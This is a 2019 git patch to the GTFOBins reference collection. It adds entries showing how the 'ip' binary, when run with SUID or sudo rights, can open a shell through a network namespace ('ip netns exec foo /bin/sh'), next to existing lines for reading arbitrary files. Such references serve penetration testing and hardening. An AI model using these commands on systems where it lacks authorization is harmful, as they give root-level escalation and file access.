From 383db60b029a65707dcda5413eadd86d0af040cc Mon Sep 17 00:00:00 2001 From: "S. Sauvin" Date: Tue, 12 Mar 2019 12:51:10 +0100 Subject: [PATCH] Update ip with sudo and SUID (#56) * Update ip with sudo and SUID --- _gtfobins/ip.md | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/_gtfobins/ip.md b/_gtfobins/ip.md index 691ac68..02a690a 100644 --- a/_gtfobins/ip.md +++ b/_gtfobins/ip.md @@ -10,8 +10,18 @@ functions: - code: | LFILE=file_to_read ./ip -force -batch "$LFILE" + - description: This only works for Linux with CONFIG_NET_NS=y. + code: | + ./ip netns add foo + ./ip netns exec foo /bin/sh -p + ./ip netns delete foo sudo: - code: | LFILE=file_to_read sudo ip -force -batch "$LFILE" + - description: This only works for Linux with CONFIG_NET_NS=y. + code: | + sudo ip netns add foo + sudo ip netns exec foo /bin/sh + sudo ip netns delete foo ---